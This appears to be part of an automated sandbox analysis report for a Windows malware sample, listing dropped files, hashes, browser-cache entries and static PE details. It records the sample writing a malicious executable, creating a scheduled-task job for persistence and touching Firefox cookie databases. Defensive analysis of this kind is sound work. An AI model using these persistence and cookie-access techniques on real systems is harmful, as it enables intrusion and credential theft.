Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir2460_325683062\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir2460_325683062\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir2460_325683062\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2460_325683062\a28fd439-f70b-48da-999b-6d5efcf0ec9c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsFIDGDAKFHI.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1915392
Entropy (8bit):	7.9501589726931154
Encrypted:	false
SSDEEP:	49152:Hsy9WTY0ede/ThFV4LSrhb4EhB1KhNKROOH/MxYBvp:H+TredqQLSV0Y1MoRTH/Mx
MD5:	122B329B0B6D825D6E8582916D00AB2F
SHA1:	73BB40F91D36D878585E8442D415C6FB71399672
SHA-256:	8755EE8E69706DF6815125ECE34E04D55D911E7C5AEC99023998BAA5BF8B2A70
SHA-512:	917C384CBC8183E6CB26DDC8C85B5C330891ECADE205F1F0E7DD2EAC5E0188959849D03299720A6321E0BE0E3A17AB2846299B26BC67475E944E181D42E2DE5C
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f............................. L...........@..........................PL...........@.................................W...k.......D.....................L.............................P.L..................................................... . ............................@....rsrc...D...........................@....idata ............................@... .@+.........................@...xecvasfo. ....1.....................@...hcidpizn......L.....................@....taggant.0... L.."..................@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsFIDGDAKFHI.exe
File Type:	data
Category:	dropped
Size (bytes):	306
Entropy (8bit):	3.519559469820809
Encrypted:	false
SSDEEP:	6:9qxa/DZXUKJUEZ+lX1CGdKUe6tcVAkXIEZ8MlW8+y0lBuAt0:9qxarlvJQ1CGAFMkXd8kX+VBuAt0
MD5:	4DEA29E25F1DA73E819788E97BA16E65
SHA1:	19875E84C1585F3E1EF379E233E02BF44FD7AF02
SHA-256:	367F50FB9767C06172F5FEAA791DF3350808C184DB0FD66533B8421E4DF30AC1
SHA-512:	5EF9947C8820623DB05DFCC65F07D624A6255CCA54FB004DD6D164AAA8058C528EF7DB5CD356E281D1C90C0411B4ECA66D893235A14C1F5E1B169D8E8A8AF70C
Malicious:	false
Preview:	....#...)XSK.,&.\|zq.F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.F.R.O.N.T.D.~.1.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........F.R.O.N.T.D.E.S.K.-.P.C.\.f.r.o.n.t.d.e.s.k...................0.................2.@3P.........................

Chrome Cache Entry: 315

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (774)
Category:	downloaded
Size (bytes):	779
Entropy (8bit):	5.139272825721863
Encrypted:	false
SSDEEP:	24:2Fe7IoEh4UNdLBHslgT9lCuABuoB7HHHHHHHYqmffffffo:H7rUnKlgZ01BuSEqmffffffo
MD5:	1AD135562D292950C57B5D77C6687587
SHA1:	A0CC90F2716CA3DA9696B69248B27D8C438B274A
SHA-256:	37B7C0EC9EDF57AA85640C3DEF1977BCAA65780DF81B11892370F4FD7EF2613B
SHA-512:	D76DEA942BF14E10FBC9FA8D062675EF057D0691A665B89AC8345F773BF2978768A3291BEEA99DA9DD50F5DA07B60382090DB8E08DBBCC673FE5E241065C9634
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["greenland camp century","greatest pop stars 21st century","spacex launch","florida housing market","commanders redskins logo","batman arkham origins vengeance","i 70 closures colorado","summer situationship full video"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 316

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 317

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132964
Entropy (8bit):	5.434914394517115
Encrypted:	false
SSDEEP:	3072:fpkX3ioI5wrfFiC8jMbk/5xnR0pvsMTwR2i6o:fi3dDFqr/5xnR0pvrwR8o
MD5:	059BDE05E78E1FB42E83B5B3CB19617A
SHA1:	6AD063C4D62E8292BC65DCE57C1455F3DAC72E0B
SHA-256:	93AA58D5B2A5B689C7D40BE3872B76DAD92F55756DBED171B82D096E22F8385D
SHA-512:	D6AA8EEFA2665A382530232A1F2D466BB094BABB9D57A36A50EBEF2ABA73AAABCEFFA9BEB15CB6FFBDCDD064771FCF8AC9793E1FDFE22BD9AB225662E83A4FCB
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 318

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 319

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2802)
Category:	downloaded
Size (bytes):	174866
Entropy (8bit):	5.55119411677623
Encrypted:	false
SSDEEP:	3072:WEBR5OnrJtUy+9+thjN33FhJpGha9HMRWIjFBJBHTZPYb62+vQ1jV9HyT++Wq7ki:WKR5Or8y+9+tdFFhJchaZMRWIhBJBHTl
MD5:	E75DAA83A93E581139D8AD8EE8D62358
SHA1:	AC0DED87D443840A77B446D53DA22BFD52441D5C
SHA-256:	177BD25B85BF254F44B515271222B773D2CF618FA17587D2DD507CE2104A3542
SHA-512:	50FD351CB34D216BC443BC8A3FD2773925FC7151B180E5F697750B356A2649AC302E1FEF4575416C02FF04498F877EB4326F5B21AAC713AAAA38ED6E8BB65C43
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.Z8FBMQoacoc.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTt16WS-AyvNEln9-TaO-tZR_15utQ"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 320

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.944093905010473
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'773'056 bytes
MD5:	d46594ed682b1ccedacb957752ba9e25
SHA1:	4f20c0a66334fc7e963b6efa038b5887c784a802
SHA256:	125a27f4007f57d38d3fe0829153ffa6221e104cc55a9d33e710c88daa104541
SHA512:	00a52e50cd6bfae35ef340d12bdf5440bafb8ab83b94a5e3184b28f2c0b6faf2085a15d5cc6af7ceca08d22f328003ea8122cc2eb3ae1652259214187a20707c
SSDEEP:	49152:BASEXI8mEZTbDegAkd1X9I38JdST5A+zgk2UYDheK:FEX/ZTvj1NJcA4xT
TLSH:	F585334AFB49FDB1CE0EC7FB9B339AD62201134ED1470A688D97B792E56C1C7E850642
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa80000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FD4BC7E9B7Ah
paddsb mm3, qword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
